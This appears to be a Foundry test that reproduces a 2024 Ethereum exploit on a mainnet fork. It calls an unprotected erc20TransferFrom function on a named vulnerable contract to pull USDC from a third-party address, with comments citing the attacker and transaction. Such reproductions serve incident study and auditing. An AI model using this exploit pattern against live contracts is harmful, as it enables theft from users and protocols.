src/test/2024-10/Erc20transfer_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5 
6// @KeyInfo - Total Lost : $14,773.35
7// Attacker : https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a
8// Attack Contract : https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0
9// Vulnerable Contract : https://etherscan.io/address/0x43dc865e916914fd93540461fde124484fbf8faa
10// Attack Tx : https://etherscan.io/tx/0x7f2540af4a1f7b0172a46f5539ebf943dd5418422e4faa8150d3ae5337e92172
11 
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0x43dc865e916914fd93540461fde124484fbf8faa#code
14 
15// @Analysis
16// Post-mortem : https://x.com/d23e_AG/status/1849064161017225645
17// Twitter Guy : https://x.com/d23e_AG/status/1849064161017225645
18// Hacking God : https://x.com/d23e_AG/status/1849064161017225645
19pragma solidity ^0.8.0;
20 
21interface I {
22    function erc20TransferFrom(address, address, address, uint256) external;
23}
24 
25contract Erc20transfer is BaseTestWithBalanceLog {
26    uint256 blocknumToForkFrom = 21_019_771;
27 
28    function setUp() public {
29        vm.createSelectFork("mainnet", blocknumToForkFrom);
30        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
31        fundingToken = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
32    }
33 
34    function testExploit() public balanceLog {
35        I(0x43Dc865E916914FD93540461FdE124484FBf8fAa).erc20TransferFrom(
36            0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, address(this), 0x3DADf003AFCC96d404041D8aE711B94F8C68c6a5, 0
37        );
38    }
39}